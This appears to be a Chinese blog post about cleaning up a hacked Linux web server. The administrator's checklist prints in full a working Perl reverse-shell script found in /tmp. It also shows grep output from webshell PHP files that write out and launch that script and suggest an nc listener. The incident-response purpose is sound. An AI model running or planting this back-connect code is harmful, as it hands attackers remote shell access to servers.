博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Web服务器捉虫速记
阅读量:2433 次
发布时间:2019-05-10

本文共 3936 字,大约阅读时间需要 13 分钟。

一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为色情网站。

马上登录服务器(半夜好困啊)。执行如下的步骤:

<!--[if !supportLists]-->1、  <!--[endif]-->检查系统帐号,看有没有异常帐号--如冒充系统帐号,改一个字母,看起来像系统帐号,混淆视听。有的家伙狡猾的干活,创建个帐号为“…”极端不易察觉。

<!--[if !supportLists]-->2、  <!--[endif]-->检查最近登录用户的ip:last 查看9月9号以后到目前的情况,经确认,有一个ip来路不对。

<!--[if !supportLists]-->3、  <!--[endif]-->检查系统初始化文件inittab,运行级别为3,为发现异常。一些hacker喜欢在这里下手,加上respawn这样的行,保证他的程序被杀后自动重启,不屈不挠地抗争系统管理员的绞杀。

<!--[if !supportLists]-->4、  <!--[endif]-->检查运行级别目录的脚本,ls –al /etc/rc3.d ,未见异常。

<!--[if !supportLists]-->5、  <!--[endif]-->检查自动任务 crontab –l ,root用户和web运行用户www各检查一遍,未见任何异常。

<!--[if !supportLists]-->6、  <!--[endif]-->检查历史记录history 发现有安装sendmail的情形,问客户是否有这个,答:不是自己装的。

<!--[if !supportLists]-->7、  <!--[endif]-->检查web目录,发现其权限为777,这可让人不太放心了,心中猜想,可能是从这里下手了。

<!--[if !supportLists]-->8、  <!--[endif]-->检查一下目录/tmp,发现有个文件不太对劲,文件名是spider_bc,打开看一下,是个perl脚本,其内容为:

[root@localhost   mysql]# more  /tmp/spider_bc

#!/usr/bin/perl

use   Socket;

$cmd=   "lynx";

$system=   'echo "`uname -a`";echo"`id`";/bin/sh';

$0=$cmd;

$target=$ARGV[0];

$port=$ARGV[1];

$iaddr=inet_aton($target)   || die("Error: $!\n");

$paddr=sockaddr_in($port,   $iaddr) || die("Error: $!\n");

$proto=getprotobyname('tcp');

socket(SOCKET,   PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET,   $paddr) || die("Error: $!\n");

open(STDIN,   ">&SOCKET");

open(STDOUT,   ">&SOCKET");

open(STDERR,   ">&SOCKET");

system($system);

close(STDIN);

close(STDOUT);

close(STDERR);

   据客户开发人员反应,这文件删除以后,一会又自动生成了。

<!--[if !supportLists]-->9、  <!--[endif]-->初步怀疑是hacker利用web权限设置及程序漏洞上传了程序后,自动生成这个文件,于是进入到网站根目录,然后执行grep –r “spider” * ,片刻,结果出来了,下面节录部分:

[root@localhost www]# grep spider_bc * -r

/plusbak/viev.php:                        echo   File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/plusbak/viev.php:                        echo   Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].'   '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/plusbak/viev.php:                        echo   File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/plusbak/viev.php:                          @unlink('/tmp/spider_bc.c');

/plusbak/viev.php:                        echo   Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')   ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/images/images.php:                     echo   File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/developers/FCKeditor/editor/skins/images/images.php:                     echo   Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].'   '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/images/images.php:                     echo   File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/developers/FCKeditor/editor/skins/images/images.php:                     @unlink('/tmp/spider_bc.c');

/developers/FCKeditor/editor/skins/images/images.php:                     echo   Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')   ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql.php   :                      echo   File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/developers/developers/cache/default/index_sql.php   :                      echo Exec_Run($perlpath.'   /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l   -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql.php   :                      echo   File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/developers/developers/cache/default/index_sql.php   :                        @unlink('/tmp/spider_bc.c');

/developers/developers/cache/default/index_sql.php   :                      echo Exec_Run('/tmp/spider_bc   '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p   '.$_POST['yourport'] : '执行命令失败';

9、问题基本查明,告知各方,先简单恢复,明日再战。

转载地址:http://rdhmb.baihongyu.com/

你可能感兴趣的文章
微服务精华问答 | 在使用微服务架构时,您面临哪些挑战?
查看>>
边缘计算精华问答 | 边缘计算有哪些应用场景?
查看>>
【C语言】C语言中常用函数源代码【strncpy ,strncat ,strncmp】
查看>>
【Java】【数据库】知识重点——数据库篇
查看>>
【Java】学习总结 —— HashMap之put()方法实现原理
查看>>
【Java】-- Java核心知识点总结
查看>>
【数据库】突破单一数据库的性能限制——数据库-分库分表总结 2018-9-20
查看>>
Lustre 维护
查看>>
python3安装教程配置配置阿里云
查看>>
Mac快捷键和实用技巧
查看>>
Git的多人协作和分支处理测试
查看>>
mysql索引回表
查看>>
go语言实现2048小游戏(完整代码)
查看>>
动态二维码免费制作
查看>>
C语言贪吃蛇
查看>>
Python练手项目
查看>>
Django无法显示图片
查看>>
AOP技术基础
查看>>
聊聊Spring中的数据绑定 --- DataBinder本尊(源码分析)
查看>>
Spring MVC 框架的请求处理流程及体系结构
查看>>